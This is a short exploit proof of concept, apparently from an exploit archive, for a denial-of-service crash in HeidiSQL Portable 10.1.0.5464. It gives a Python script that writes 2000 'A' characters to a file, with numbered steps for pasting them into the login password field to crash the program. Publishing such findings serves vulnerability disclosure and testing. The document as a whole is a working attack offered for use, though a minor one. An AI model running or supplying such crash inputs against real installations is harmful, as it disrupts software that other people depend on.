#Exploit Title: HeidiSQL Portable 10.1.0.5464 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-04-24#Vendor Homepage: https://www.heidisql.com/#Software Link: https://www.heidisql.com/downloads/releases/HeidiSQL_10.1_64_Portable.zip#Tested Version: 10.1.0.5464#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1#Steps to produce the crash:#1.- Run python code: HeidiSQL_Portable_10.1.0.5464.py#2.- Open bd_p.txt and copy content to clipboard#2.- Open HeidiSQL#3.- Select "New"#4.- In Network type select "Microsoft SQL Server (TCP/IP)"#5.- Enable "Prompt for credentials" > click on "Open"#6.- In Login select "Password" and Paste ClipBoard#6.- Click on "Login"#7.- Crashed
cod = "\x41"* 2000
f = open('bd_p.txt','w')
f.write(cod)
f.close()